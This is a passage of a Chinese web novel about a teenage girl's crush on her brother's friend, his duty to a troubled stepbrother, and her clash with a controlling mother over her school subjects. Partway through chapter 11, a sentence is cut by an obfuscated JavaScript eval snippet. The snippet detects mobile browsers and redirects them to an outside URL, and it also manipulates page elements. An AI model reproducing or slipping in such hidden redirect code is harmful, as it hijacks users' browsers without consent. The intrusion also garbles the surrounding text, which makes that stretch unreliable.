她懒得走到花房去放工具,所以把洒水壶拎在手里。 不远处有人声传来,头顶的蝉鸣不绝于耳,燥热之下,她竟然真睡得着。 梦里她回到了某个故事的开头,只是男主角已经离场,她一个人摸索着走,每一步都带着惶恐,直至习惯。 高中生活很忙碌,得益于暑假的勤勤恳恳,她摸底考试的成绩很好,被分进了培优班。 只是班级节奏太快,她适应不及,只好加倍努力。 尝过被欣赏的甜头以后,葛思宁不准自己落后,也不准自己回到从前枯败的状态。 内核是,外表也是。 她不再认为只要灵魂有趣就不用在意皮囊,而是要求自己在能力范围内,方方面面都达到优秀的标准。 学校开放社团以后,她甚至还在游泳比赛上拿到了奖。 社团成员围着她恭喜她,她不好意思地说自己其实也很意外,因为在不久前,她甚至还是一只旱鸭子。 大家露出惊讶的表情说不可能、才不信,葛思宁不知道怎么解释,最后只是笑了笑,没说话。 那个夏天她从江译白身上学会的一切,在后来都帮了她很大的忙。 他给她开了一个好头,以陪伴的方式带给她坚持的意义,于是葛思宁开始愿意这样一直走下去。 在他之前葛思宁所获得的一切成就感有一半都要分给葛天舒,因为她的成功基本归咎于母亲的赶鸭子上架。 所以每一次,她在自己的领域里单打独斗,哪怕最后失败了,她也仍感谢勇于挑战的自己。而在感谢的空隙里,她都会想起江译白。 想起他带给自己的一切,还有,关于他的一切。 葛思宁加了江译白的微信以后,很少给他发信息,只偶尔问他一些学习上的题目。 一是她本来也没什么时间玩手机,二是她觉得她总是给他发消息很奇怪。 尽管都是哥哥,但是她从来不会觉得骚扰葛朝越有什么不妥。 她一开始以为是亲生和非亲生的区别,但是转念一想,江译白对她比亲哥还好,这个理由站不住脚,就又开始思考为什么。 后来听同桌说别人坏话,她学到一个词叫“拧巴”。 当时同桌还搂着葛思宁说,“思宁,如果每个人都像你一样大方开朗就好了,我真的好讨厌阴暗爬行的人。有什么事都憋在心里不说,但是又想被别人了解!” 葛思宁心想,不是。 在她的某个秘密角落,她对某个人似乎也是这样的态度。 可是她为什么憋着不说呢? 明明江译白是那么包容她的一个人。 葛思宁不知道,她想不通,她分析的结论是,她要说的话会令她很不好意思,还可能会把事情搞砸。 她的来时路和别的女生不太一样,她对爱情的理解都来自男男小说,可她自己不是男的,她不清楚如果一个女人爱上了男人会怎么样,而且,她还不是女人,她的心意可能只是孩子的一时兴起。像当初追星一样,她的悸动可能只是在赶时髦。 有什么东西,像风一样轻盈,从她身上掠夺了什么。 葛思宁一下子惊醒。 洒水壶掉在地上,江译白站在她面前。 10. 第 10 章 “吓到你了?” 声音比视觉先回笼,他的语气放缓,温柔似风,却不像八月的风,勉强吹散了几分葛思宁骤然醒来的失重感。 但是当看清他的面孔,回想起这一整年他们只见了寥寥数次,微信上也只问题答题,几乎没有过别的交流后,葛思宁突然觉得很委屈。 “对。” 她偏过头,表面上是躲避从叶缝中掉落的光点,实则是不想看他。 江译白往旁边的摇椅坐下,伸手勾了勾她椅子的吊带。 “思宁,你怎么都不叫人?”他这话听起来有些委屈。 葛思宁一句“不知道叫什么”还没说出口,他就已经开始控诉:“上次过年的时候来你家,你收了我的红包就回了房间,除了谢谢以外多的一句也没有;后来听你哥说你期末考考的不错,我托他捎礼物给你,也没等到你的电话和短信;今天我本来是打算回家一趟的,但是想到这个夏天还没有见过你,于是我又厚着脸皮跟着你哥回来了,你为什么不理我?” 他不说这些还好,一说葛思宁就更觉得他们的联系少了。 她依旧扭着头,用后脑勺对他,说气话:“因为我是白眼狼啊。” 新年他来拜年,葛思宁本来很开心的。但是他是坐葛天舒的车来的,葛天舒说那天他刚好假期实习结束,买了明天的车票回家,所以提前来拜访。 这就意味着,江译白只是顺便。 因为她妈妈给了他一个岗位,所以他做好人情世故,而不是专门来看葛思宁。 考试的奖励她甚至都没拆,因为她从葛朝越口中得知江译白那段时间还在本地,但是他却没有亲自送礼物过来。 诚意不够,她凭什么说谢谢? 至于今天。 葛思宁咬了咬唇,太晚了,来得太晚了,她已经不期待了。他这是延迟满足。他的世界有太多比葛思宁重要的事,葛思宁只是他空闲下来以后才会想到的事。 “思宁,你在生气吗?” “没有。”她否认,说真话就是失望更多一点。她知道她和江译白的关系还没有好到江译白要事事以她为先,就连葛朝越这个亲哥都没办法做到的事,她凭什么要求江译白做到?但是葛思宁说服不了自己。所以她反驳江译白的话其实也是对自己说的:“我又没有逼你来,你自己选择来我家,礼物也是你自愿送的,不是我跟你要的,所以这些关我什么事?” 拜托不要拿我当借口了,自私鬼。 江译白俯身往前,两条长腿牢牢地踩在泥土上,他手肘撑着膝盖,想看清葛思宁的表情。 只凭声音,他很难判断她真正的喜怒。 “好思宁,这么久不见了,你都不想我吗?转过来给哥哥看看。” “你能不能走开,别骚扰我了。” “……” “好吧。”他听起来有一点无奈,换了个话题缓解气氛,“虽然不知道你为什么不开心,但是我想知道,你朋友圈为什么屏蔽我?” 葛思宁蓦地转过来,撞进他含着笑意的双眸里,又猛地扭回去:糟糕!中计! 江译白还嫌不够,刚才他特地问葛朝越要了截图,这会儿调出来,拿到她面前晃:“思宁,为什么?” “这是我送你的小狗吧?” “你怎么不让我也为它庆祝生日?” 他不知道葛思宁会给玩偶计龄,他以为葛思宁的理由会是“我怕你嫌我幼稚”,或者“因为是你送的我不好意思”,但是葛思宁说。 “因为我觉得你不在乎小狗几岁。” 他短暂失声,总觉得她说的不是小狗。 但是江译白也想不到别的了。 他觉得自己有一点冤枉,因为如果葛思宁说了,他甚至愿意为一只玩具买一个蛋糕。 “我是愿意陪你幼稚的。你还没有问过我,就把我屏蔽了?” “我乐意!” 葛思宁蹦下摇椅,拎着洒水壶跑了。 江译白目瞪口呆,好一个不讲理的女孩。 - 爸妈不在家,中午葛朝越提议随便吃点,晚上再出去吃,葛思宁没有异议。 问她怎么答应得这么爽快,她说:“因为你除了煮面什么也不会。” 葛朝越锁她的喉,“总比你十指不沾阳春水强。” 江译白说:“我来做吧。家里有什么?” 葛思宁觉得刺耳,呵呵,家里,这是你家吗? 最后凭借一个西红柿、两个鸡蛋和一点现摘小葱,江译白做出了一大碗番茄鸡蛋面。 他知道葛思宁不喜欢吃蛋白,但是还是把整个鸡蛋夹给她。 葛思宁反手就把蛋黄挖出来,其他的丢给葛朝越。 葛朝越一边骂她让自己吃剩的,一边把蛋白吃下去。 江译白提醒她:“要注意营养均衡。” 他看了眼葛思宁撑在桌面上的半截手臂,手腕上有块骨头微微突起,还有她睡裙领口露出来的锁骨,突然有些担心:“思宁,你会不会太瘦了?你正在发育,比起身材,应该好好吃饭。” 听了他的话,葛思宁回想起学校里的女子天团,基本上个个都跟筷子精一样,瘦得一阵风就能刮走。 和她们比,葛思宁甚至算是比较胖的了。不过她高挑,又经常运动,所以看着均匀。 同桌跟她说,那几个女生私底下笑她肌肉发达,还给她起外号叫女巨人。 葛思宁不甚在意,心想她可是有腹肌的人,一拳能打飞十个那样白幼瘦。 爸妈对她的健身成果也很满意,特别是葛天舒。 葛思宁严重怀疑她妈如果晚出生二十年,在年轻的时候遇见奇迹暖暖,保守估计充值一套房。 建模合审美了,她开始热衷于打扮葛思宁,好在亲朋好友面前长脸。这个态度和那些疯狂给虚拟人物买衣服的玩家一模一样。 葛朝越就更不用说了,以前还会叫她小肥猪,现在都叫小香猪了。 总之,葛思宁不知道江译白哪来的结论,她自己不觉得就行了。 于是她吃完,把碗一扔,又跑了。 十六岁的葛思宁不知道什么是想念,所以她很别扭,当想见的人真的在面前了,她又觉得还是保持距离比较好。 十六岁的葛思宁已经不喜欢追星和小说了,她开始做手账。房间里堆满了胶带和印章,每次一做就是半天。 期间她隐约听到楼下传来动静,好像是有人出去了。 她心里一紧,又劝自己放松:他走就走吧,他本来也是顺路过来而已。 玩到天黑,院子里有车开进来,她以为是爸妈,但是又想起他们说今晚都不回来。 江译白的信息在这时弹出来:下楼。 葛思宁看了看前面的聊天记录,他们的对话“不堪入目”——江译白是怎么好意思控诉她忘恩负义的?明明光看联系频率和交流话题,他们的关系看起来比纸还薄。 她没回,开门,下楼。 江译白站在院子里玩手机,不知道是不是在等她的消息。 等了一会儿没等到,正准备上去叫人,就看见葛思宁趴在楼梯的扶手上,幽幽看着他。 那眼神,似乎有点……怨愤? 江译白不知道为什么这次来,感觉自己和葛思宁之间有点微妙。 她似乎总在生气,但是没有明确的原因。 他不在她身边,没办法参与她的每一天,于是只能把这些微妙、奇异和僵持笼统地归为青春期奇妙现象。 他一如既往地有耐心,和她说话细声细气,无论葛思宁说什么、干什么,他都愿意哄着她,顺着她。 “快过来。”江译白朝她招招手。 葛思宁有些不情愿地走过去,发现葛朝越在支桌子。 他们出去买了全家桶,还有一个蛋糕。 见她过来,江译白开始拆包装盒,蛋糕的形状是一个小狗脑袋,巧克力豆做眼睛鼻子,巧克力酱画出嘴巴,草莓酱当腮红,惟妙惟肖的,还挺可爱。 葛朝越坐在露营椅上冷笑:“还不快谢谢你小白哥?为了给你那只破狗过生日,他都快把附近的蛋糕店找遍了,最后还是加价定做的。” 葛思宁难得没有因为他说话难听而暴跳如雷,因为江译白已经替她骂了:“什么破狗?再说你滚出去。” 葛朝越瞪大眼:“这是我家!” 葛思宁:“也是我家。” 葛朝越更生气了,“我真是草了,葛思宁你现在胳膊肘往外拐是吧?” 江译白说:“不是说把妹送我?那就是我的了。” 葛思宁这回不帮腔了,小声说了句,“才不是。” 江译白看了她一眼,假装没听到,朝她伸手:“思宁,过来点蜡烛。” 他都帮她插好了,特别漂亮的烟花蜡烛,一点就会放烟花。 葛思宁看得心动,拿出手机拍了个视频。 江译白看到了,问:“要发朋友圈?” “这回不会屏蔽我了吧。” 葛思宁收回手机,“不发。我留做纪念。” “哦。”江译白也没计较,毕竟她是不发,而不是又不给他看。 葛朝越不太 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她的踌躇被江译白理解成害羞,于是他揉了揉她的头,替她拉好裤子,跳过了这个话题。 他又给葛思宁切了块蛋糕。 葛思宁盯着他看了一会儿,突然判断:“感觉你好像很开心。” 江译白靠着椅背,神情放松,“很明显吗?” “……” 那种感觉又来了。 葛思宁心猿意马地想,这个人又在勾引她。 她接不住招,索性不问了,害怕被他套话。 葛思宁起得早,白天又没补觉,很快就困了。 临睡前她拉开窗帘,还能看到江译白在楼下跟葛朝越聊天。 她想他们真的是很好的朋友。 总有说不完的话、开不完的玩笑、可以尽心尽力地互帮互助、总是结伴成行……甚至他的妹妹,江译白都可以当自己妹妹来对待。 葛思宁觉得这个剧情有点熟悉,好像在某篇套路文里见过。 而当初她似乎也是因为这些原因,才写下了那个故事。 可是现在,她却没办法把江译白当做参考原形了。 她想,她应该是希望,这个人能成为她的男主角。 不是小说,是人生。 - 晚上有点凉,葛思宁没开空调,凌晨是被热醒的。 天才刚亮。 立秋过去不久的早晨,其实已经有了几分萧瑟的味道。 她没找遥控器,而是把窗户拉开一条缝,好让风吹进来。 葛思宁平躺着,企图再次入睡,但是大脑却在有意地留意外面的动静。 她记得葛朝越之前抱怨过她的催促,他不明白葛思宁干嘛非要他回家,他很多事情要做,就算回去也待不了多久,跑来跑去麻烦。 而这个“待不了多久”,具体是多久,葛思宁不知道。 她侥幸地想,起码也有两三天吧? 所以她放任自己迷迷糊糊地睡去,再次醒来的时候,下楼只看见了爸爸妈妈,没有其他的身影。 王远意说:“找你哥?他已经回学校了。” 葛思宁:“那……” “什么?” 葛思宁张张嘴,那个人的名字好像玻璃瓶口的弹珠,难以脱口。 最后她摇摇头,说,“没什么。” 葛天舒问她冰箱里怎么有蛋糕。 葛思宁说,“天上掉的。” 葛天舒扬眉,“你还没睡醒是吧?” 她不知道,葛思宁是认真的。 蛋糕就是天上掉的,人也是她做梦梦到的。 他说来就来,说走就走了,不就是这么回事吗? 葛思宁回到房间里,打开手机,才发现江译白给她发了信息。 难得的主动,来自早上六点。 他说他和葛朝越先走了,学校还有别的事,说以后有时间还会再来。 “在此之前,希望思宁天天开心。” 葛思宁觉得这条信息特别虚伪,手机一扔,根本不回。 这次江译白却不依不饶,过了半天发来一个问号。 彼时葛思宁正在院子里点烟花蜡烛,是昨天剩的。 不知道为什么她就是想点,也不知道为什么,收到问号后她拍了张照给江译白发了过去。 江译白不觉得莫名其妙,反而说:很漂亮。不过自己一个人点的时候小心点。 葛思宁后知后觉地明白,她是想他了。 11. 第 11 章 回学校的路上还是葛朝越开车,虽然他倒库水平一般,但是直线行驶没什么问题。 上车以后江译白坐在副驾驶盯了他一会儿,确认自己性命无忧以后说:“我睡一会儿。” “放心睡,我你还不放心?” “就因为是你我才不放心。” “……” 刚上高速,江译白的电话就响了。 他没睁眼,条件反射地接起来,那边不知道说了什么,江译白一直“嗯”、“知道了”,反应平淡到有些出奇。 葛朝越瞥了他好几眼,大概能猜到是谁,是什么事。 果然,江译白挂了电话,抹了把脸:“待会下了高速你直接送我去高铁站吧,然后你再回学校。” “行。”葛朝越答应下来,没忍住问,“是不是你那个便宜弟弟又惹事了?” 江译白在翻阅未读消息,没应,默认。 他回了几条,滑动的时候手指经过葛思宁的头像,点开,她还没回。 葛朝越骂了句脏话,“死小孩一天到晚给你惹事。你说你出来上大学这些年,打了多少个电话给你?你爸也真是,这家长当得够轻松的,大儿子带小儿子,连学费都是你赚钱给……” 江译白知道他是在为自己打抱不平,但是说这些也没什么意义,解决不了问题。 他任由葛朝越发泄了几句,趁他怒火小了点,岔开话题:“我们就这样走了,思宁不会不高兴吧?” 一提到自家人,葛朝越更口无遮拦了:“她有什么可不高兴的?我又没承诺她什么。而且我百忙之中抽空回来陪她的破狗过生日,她不感恩戴德就算了,还闹脾气?我可不惯着她。” 江译白看他一眼,趁着红灯,伸手掐他的脖子以示警告:“不是破狗。” 他没用力,但是葛朝越还是嘶了一声。 “我真是奇了怪了,从小到大,无论是朋友还是亲戚,我就没见过有什么人喜欢葛思宁。她这个脾气实在太差了,还特别小心眼。你不觉得吗?” “不觉得。” “你也是神人。”葛朝越摇摇头,一副你没救了的样子,“你是不是被你弟折磨习惯了,所以喜欢这种受虐的感觉啊?那个词叫什么来着……付出型人格?” 他开玩笑的,但是江译白居然很认真地思考起来。 葛朝越真怕他想左了,连忙打断:“我乱说的。就当是葛思宁命好,遇上你这么个滥好人。但是别怪我没提醒你啊,你再这么宠着她,她真有一天会跑到你头上拉屎。” “你说话能不能不要这么恶心?”江译白做嫌弃状,“其实你说这些是害怕我取代你亲哥的位置吧?” 旁边有车想超车,葛朝越突然按喇叭,大声狂笑:“我?我害怕?靠,你说什么胡话呢。” 江译白扭过头,懒得揭穿他。 他已经在手机上买好了高铁票,身份证也带了,进站就行。 葛朝越下车的时候恨不得踹他一脚,“走吧您就。” 江译白挑眉,“真生气了?” “没有。”他嘀咕道,“就是觉得你这人在我妹面前特别装。”背地里其实大尾巴狼。 江译白选择性耳聋:“那我回来你来接我。” “你什么时候回来?” “最早今晚。” “不是大哥,你……”葛朝越算了下他来回的时间,想说点什么,又咽了回去,“行吧。你到时候给我打电话。” 江译白嗯了一声,“走了。” “走吧走吧,又不是没走过。” - 停靠县城,出站江译白打了辆车回去。 小地方人少,司机碰巧上次也载过他,于是问了句:“哟,好久不见,这个暑假都没回来啊?” “嗯,上班。” 江译白答得很简洁,司机也习惯了。 这小伙子虽然句句有回应,但是句句浮于表面,坐他车都好几次了,司机每次都跟他聊得口干舌燥,却连他家有几口人都不知道。 目的地在派出所,司机有点好奇,但是想到江译白的性格,就没多问。 江译白走进去,十五分钟后,拎着个脸上挂彩的少年出来。 他上高铁的时候是早上,到站已经下午了。 八月底的夕阳染透了天际,将少年身上那件白色的短袖映射成橘色,江译白盯着他衣摆的一个小窟窿不说话,他也不说话,从在警察局里和江译白四目相对的那一瞬间他就低下了头,连警察都有些讶异刚才还张牙舞爪的刺头怎么突然蔫了。 来龙去脉刚才江译白已经听工作人员说了,所以现在他也不打算质问陈安远有什么隐情,反正这小子嘴里就没一句实话,为了反抗他白的也说成黑的。 于是他就这样晾着他。 早上出门的时候葛朝越塞了包烟到江译白兜里,说自己没口袋,下车的时候忘记拿,这会儿正好充当江译白打发时间的工具。 他点了一根,陈安远听见火机声抬了下脑袋,又很快垂头。 在他的印象里,江译白是不抽烟的。 以前江译白读高中的时候,他在隔壁念初中,每次上下学都会经过充斥着烟雾的小巷,始作俑者基本上都是十几岁的男学生,就连江译白他们学校的人也有。 他那时候问江译白,为什么你不学?他班里的同学都觉得抽烟很酷。 江译白给了他一拳,说酷什么酷。 他那时候也是傻,问,哥你真的不好奇什么感觉吗? 江译白说不好奇,因为他已经体验过了。 “真的假的?我怎么没见过你抽?” “我很烦的时候才会抽。” 而现在,估计就是他很烦的时刻。 两个人僵持着,谁都没说话。 最后是天快擦黑了,江译白考虑到再不放他回家,不好跟老江解释,才开口。 他倚在墙壁上,抬抬下巴:“衣服破了怎么不买新的?给你的钱都花去哪了?” 陈安远没想到他一开口居然会问这个,紧绷着下巴抿着唇,不打算回答。 但他不说江译白也知道,他肯定是给存起来了。 “行。不说也行。”他踩灭烟头,“反正给你了就是给你了,怎么花是你的事。大老爷们也不需要打扮得太精致。但是别到时候又还给我了。” 说完江译白拿出手机打车,陈安远见他背过身没有别的话讲了,终于忍不住问:“为什么不能还给你?这些本来就是你的钱。” 他看着穿衬衫长裤的江译白,心知这套看起来板正的着装其实是他在大学里参加学生会的工作服,比外面卖的便宜,材质也尚可。江译白平时去面试,好歹也算有套正装。 “因为你还没成年。”江译白回答。 他的反应太冷淡了,显得陈安远所做的一切都很幼稚。 陈安远咬咬牙,嘴巴里一股铁锈的味道:“我现在在副食店兼职,我能养活我自己。” 江译白看着界面上移动的小点,切出去买了张末班高铁票,截图发给葛朝越。 葛朝越回了个问号:[你他妈还真今晚回来啊?] 江译白回了个1。 至于陈安远的独立宣言,他没放在心上,只说:“我是你哥。” 可是又不是亲的。 这句话在每一次收到江译白寄回家的钱时,都会在陈安远的脑子里滚来滚去,像仙人掌的刺,陷进肉里难自拔。 但是他从来没有用这句话和江译白顶过嘴。 因为他知道,江译白和他没有血缘关系这件事,他本人比谁都清楚。 车来了,江译白把他塞上车就关门,陈安远这才露出一点慌张:“你不和我一起回去?” 他摇头,“我马上开学了。” 陈安远张张嘴,憋出一句:“老江很想你。” “想我也没用,”他要上学,还要上班。 江译白安抚地笑笑,“你帮我好好照顾他。” 陈安远没应,一双黑白分明的眼睛炯炯地望着他,就是答应的意思了。 江译白知道,所以伸手薅了把他的寸头,“回去吧。” “你找个时间把工作辞了,把心思都放在学习上。你知道我希望你怎么做。既然觉得我不容易,那就别让我失望。” 车开走了,少年摇下车窗回头看,表情破碎且脆弱。 江译白站在原地朝他挥挥手,往反方向走,完全没有一点说重话的愧疚。 陈安远是他带大的,他比谁都清楚怎么治他。 - 葛思宁高二了,需要搬到新的教学楼去。 因为有开学考,所以很多高一的资料大家都不敢扔,加上新教材,搬东西的时候一个两个都哼哧哼哧气喘如牛,累得半死不活。 尤其是女生,提着书箱上楼,得两个人合力抬,抬到半路还得喘一喘。 在一连串的叫苦连天里,葛思宁安静地埋头苦干显得尤为突出,走她旁边的男生看到她手臂上的肌肉,一手抬桌子一手拿椅子还脸不红心不跳,眼珠都快瞪出来了。 安置好自己的“行囊”,葛思宁就躲到厕所去了。 因为她害怕待会被认识的同学叫住,问她“你弄好了?”、“能不能帮帮我们”之类的问题。 葛思宁不怕拒绝人,却不擅长拒绝人。 而且她是学委,话说太直白了班主任又要找她谈话,说她的行事作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267292|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风不利于班集体团结。 葛思宁不知道什么才算团结,但她知道什么叫吃力不讨好。 班上的女生和她关系都很一般,女子天团对她评头论足的时候她们也会偷笑,虽然说不上霸凌,但是也挺恶心人的。 葛思宁懒得和她们计较。 她正是鼻孔朝天的年纪,每次考试不掉出年级前十让她稳稳地坐在金字塔尖,所以她的眼里看不见蝼蚁,看不见就相当于隔绝了。 在厕所里断断续续地憋气背了十分钟单词,外面的动静小了,葛思宁装模作样地冲水,走出来洗手。 结果迎面撞上她高一上学期的班主任李老师。 “哎哟,思宁。”他乐呵呵地打招呼。 葛思宁硬着头皮点头,“李老师,好巧,您今年跟高二啊?” “是啊,又是班主任。本来我跟学校申请不带高二的,但是……” 李老师什么都好,就是话多。 葛思宁又不能不听,站在原地看表,离上课还有三分钟,她还想去饮水机装水啊啊啊! 李老师说完自己,又开始关心她:“话说思宁,你在文科班还挺好的吧?我看你每次考试成绩都不错,上次期末考甚至还进了年级前三,不错不错,大有可为啊。” 葛思宁:“挺好的。哈哈。” 李老师滔滔不绝:“想当初分科的时候,你妈还特地来学校找我谈话,想让我综合分析一下你到底是适合理科还是文科。我那时候当然是希望你们都去读理科啦,毕竟我是教化学的嘛,不过以你当时理综,读理科会吃亏,于是我就跟你妈妈说,你的数学基础不错,读文科或许会更好……” 葛思宁笑得脸都僵了,听他岁月史书个没完。 好在这时她的班主任过来了,解救了她。 她飞速溜回教室,同桌问她去哪了。 “就看到你的桌子,都没看到你人。本来还想让你搭把手的,你都不知道我们搬了几趟才搬完。” 她面不改色:“拉肚子去了。” “啊?我有风油精,你要不要涂一下?” 葛思宁摇头,“不用,拉出来就好了。” “好吧。诶,待会分座位了,我好紧张啊……” “紧张什么?” “我不想和你分开。” “哈哈。”葛思宁敷衍地笑笑,心想,还不是我平时经常教你做题,帮你盯梢你才不舍,平时去食堂去小卖部还有上体育课,你转头就和你闺蜜跑了。 开学第一天,大家的心都有点散,班主任在台上说着开学以后的各项任务,台下唧唧哇歪个没完,气得班主任怒拍讲台好几次,别的班下课了他们还在拖堂。 葛思宁本来就烦,现在更烦了,她搬了一上午东西,现在渴得要死,杯子里却连一滴水也没有。 同桌说:“要不我倒给你?” 葛思宁摆摆手:“不用。” 她有一点洁癖,觉得别人的杯子瓶口会残留口水。 最后班会在第一周暂时不调座位的通知中拉下帷幕,同桌喜笑颜开地搂住葛思宁,被她不动声色地拂开。 后桌的女生欲言又止地看着她们互动,葛思宁站起来的时候她似乎有话想说,但是当葛思宁看过去时,她又一副很害怕的样子,马上移开了视线。 葛思宁拿着水杯出去了,用脚趾头都知道,她一走,后桌肯定要和同桌说她坏话,例如你干嘛冷脸贴人热屁股…… 饮水机要排队,排到她的时候预备铃就响了,她一边骂这个破水龙头流得这么慢,一边看老师来了没有。 葛思宁积累的烦躁已经达到了顶峰,回到课室马上就上课了,她根本听不进去。 第一节是数学课,科任老师一进来就大放阙词:“同学们,我们班和隔壁班的进度已经落后其他班好几节课了!” 他迫切地开始讲新内容,每讲完一个知识点就让他们做两道题,同桌不会,害怕待会被抽上台,就用手肘撞了撞葛思宁,求救。 葛思宁冷漠地回避,说:“你自己想一想吧。” 同桌一愣,顿住看她。 其实葛思宁的语气没什么问题,她平时也是一副冷冷的,又有点不耐烦的样子,但是真和她开口,她也挺温和的。 今天却不知道怎么了,怪怪的。 同桌感觉她身体里藏了个炸药,而且已经炸掉了,她的一举一动都流露出硝烟的味道,令人胆寒。 后桌见状递了个眼神给她,意思是:我刚说的没错吧。 葛思宁假装看不见她们的小动作,埋头苦写。 老师走到桌边,一看,一指,语气惋惜:“步骤对了,得数错了。” 她分心了。 12. 第 12 章 葛思宁很少分心,她自认自己最大的优势就是专注力,这会儿被老师一点,她突然明白——她确实被李老师的话给影响到了。 她就知道,在她心里,分科这件事情一辈子都过不去了。 时间到了,数学老师回到讲台上,问今天是几号,根据月份和日子抽了两个男同学到黑板上做题。 他们做的时候葛思宁在下面把这两道题重新算了一遍,对了。她翻开课本后面的课堂练习,又找了几道题做,了解常见的几种套路,便彻底掌握了。 数学老师接下来还要讲解,葛思宁握着笔,懒得听了。 她坐的位置靠窗,楼层高,几乎可以看见树梢。 枝桠上有一个空鸟窝,没鸟在家,她研究了一会形状,又分神去看天空。 今天天气特别好,跟葛天舒来学校找李老师那天一样好。 - 其实中考前的小说创作事件只是导火索,让葛天舒下定决心让葛思宁读理科的根本原因在于,她自己就是理科生。 葛家有钱,她又是独女,祖父母托举她出国读书,回国以后创业直接赚得盆满钵满。 葛天舒的人生太顺了,顺到她就算自大也理所当然,她认为她能过上这样的生活都是因为她敢于选择且做对了选择,至于时代、风口、家世等因素,全都靠边站。 凭借自己成功的案例,她给葛朝越选了理科,还指定了大学专业,企图在孩子身上复刻一个自己。 然而葛朝越天生没心没肺,很多事情他谈不上喜欢,却也不反感,并且对于他来说,有人帮他做计划更好。 没有反抗的先例,家里就这样唯母独尊了许多年,等到葛思宁长大,葛天舒已经习惯了事事顺遂的生活。 她从前就不允许自己的人生出现偏倚,人到中年更是执拗。 所以当葛思宁鼓起勇气,想要心平气和地就实际出发,和葛天舒谈一谈分科的事情时,葛天舒的第一反应就是:“你是不是还放不下你的文学梦?你是不是觉得学文科会对你写小说有帮助?” “葛思宁我告诉你,你不要把这个世界想得太简单了。选文还是选理看似只是一件小事,但其实这背后将关系到你以后高考能读什么大学,能选什么专业,乃至日后你的职业、前程,都会被这个选择左右。一旦方向错了就什么都错了,如果你今天因为一些不切实际的幻想就轻率做决定,我只能说你不配当我的女儿,你的目光太短浅了。” 葛思宁听完立马变成了一只应激的刺猬,努力保持的平静就这样被葛天舒轻蔑地打破,她顿时暴怒。 “我根本没有把世界想成怎么样,拜托你别对我下定义好吗?”她下意识反驳。 她都还没有见过完整的世界,天真不是正常的吗?她不明白为什么最应该守护她天真的母亲,会如此残忍地说出这种话。 “我不是为了写小说才选文科,我也没有不切实际的幻想,我就是觉得我文综比理综好,如果我选文科我能考上更好的大学……” 葛天舒打断了她,“是吗?” “你能保证吗?” 葛思宁吸了口气,气急失语,且一时之间权衡不定,于是选择短暂沉默——她害怕自己会冲动应战,以葛天舒的个性,她一定会向葛思宁索取承诺。 可她的战略性回避在妈妈看来就是认输了,而她的反应在葛天舒眼里就是一场无能狂怒。 葛思宁至今还清晰地记得葛天舒坐在皮革椅子上,一只手转着钢笔,弯唇嘲笑她的样子。 “你看,葛思宁,你根本就不能保证,所以你怎么和我谈?我对你的未来做过周详的计划,不然我请那么多老师、给你报那么多班是为了什么?不就是希望你能够得到正确的引导,选择正确道路吗?” 她说不过葛天舒,耻辱的眼泪流下来,溃不成军地另辟蹊径:“你根本就不爱我。你这个占有欲狂魔。” 葛天舒笑笑,并不为她的冒犯而动怒。葛思宁骂她,她就往她肺管子上戳:“你平时写小说词汇也这么匮乏吗?你的故事里是只有爱吗?两个主角爱来爱去,除了爱什么也没有,是这样吗?” “不是!” 葛思宁气到发抖,葛天舒根本没读过她的作品,她凭什么评头论足! “那是什么?你的脑子里不就只有这些?” 葛思宁很想反驳,但是葛天舒已经把注意力放到了电脑上。她知道她们的谈判结束了。 葛思宁走出书房,开门的那一刹,她听见葛天舒说:“别去找你爸当救兵。他就是文科生,你觉得他的人生成功了么?” 那天晚上葛思宁在房间里放声大哭了很久。 她很伤心,她原以为自己长大了,能从打压式教育里跳出来了,结果还是井底之蛙。 她更伤心的是,她哭完以后才意识到自己的幼稚,她居然还心存葛天舒因为她的眼泪而妥协的幻想。 葛思宁和葛天舒较劲,王远意和葛朝越劝了很多次,无解。 葛天舒觉得可笑:“就让她闹,我看她能蹦多高。” 她笃定并非狂妄,而是十五岁的葛思宁可以反抗的工具实在有限。 除了成绩,她没有任何可以动摇葛天舒的东西。 王远意私底下和葛天舒谈过,他问她:“你把公司那套搬到家里来,有意思吗?思宁是你的女儿,不是你的员工。” 葛天舒不以为意:“她以后会感谢我的。” “但十五岁的思宁永远也不会原谅你。” 葛天舒笑了,“所以为什么人们都说女儿像爸呢,葛思宁那股倔劲真的和你一模一样。” 王远意摔门而去。 相敬如宾这么多年,他几乎没冲葛天舒发过火。 葛天舒看着那扇门,只一秒就收回了视线。 她和王远意结婚,是因为她欣赏他的倔强。 但是有时候,她也讨厌他的清高。 葛思宁虽然有意提高文综的分数,但是碍于补习班的加持,她的理综虽然略显薄弱,却也还没到拖后腿的地步。 她也没有任性到故意考差。这种手段牺牲太大,她没必要为了激怒葛天舒而自毁前程。 那段时间她很迷茫,她不习惯和人推心置腹,同龄人里也就问过经常一起帮老师跑腿的班长徐之舟。 对方的意志很坚定,果断地表明自己会选理科。 葛思宁问他为什么,他陈列的理由很清晰,“个人方面,我学理科会感到快乐,也有天赋;前景上读理科确实更有出路,虽然考大学没有文科容易,但是以后找工作会比文科生轻松。” 见她沉思,徐之舟问:“葛思宁,你有什么不选理科的理由吗?或者你有非要读文科的理由吗?” 面对真挚的疑惑,葛思宁褪去了个人情绪,开始真正地审视这个问题。 然而越审视,她越心寒。 因为她发现,葛天舒的话并不完全是错的。 而她的坚定,也并不完全能被称为“孤勇”,换个角度,或许就是莽撞。 但是,人生只能做对的选择,不能做自己想做的选择吗? 徐之舟想了想,说:“我不知道。我们的人生阅历还没有到可以思考这么深奥的问题,并且得出答案。毕竟我们现在所站的地方是人生的岔路口,而非终点。” 葛思宁嗯了一声,虽然没得到答案,但还是说:“谢谢你。” “不客气。” 葛朝越没空回家,又担心家里的“战况”,于是总给葛思宁发信息。 葛思宁病急乱投医的时候也问过他,但是他是理科生,当然说理科好。 “我那年的重本分数线,理科可比文科低了不少。如果学文,你哥估计就没书读了。” 但这只是他个人的情况,现在学制和环境如何变化,葛朝越并不是很了解。 “要不你问问爸?” 葛思宁回了个【NO】的表情包。 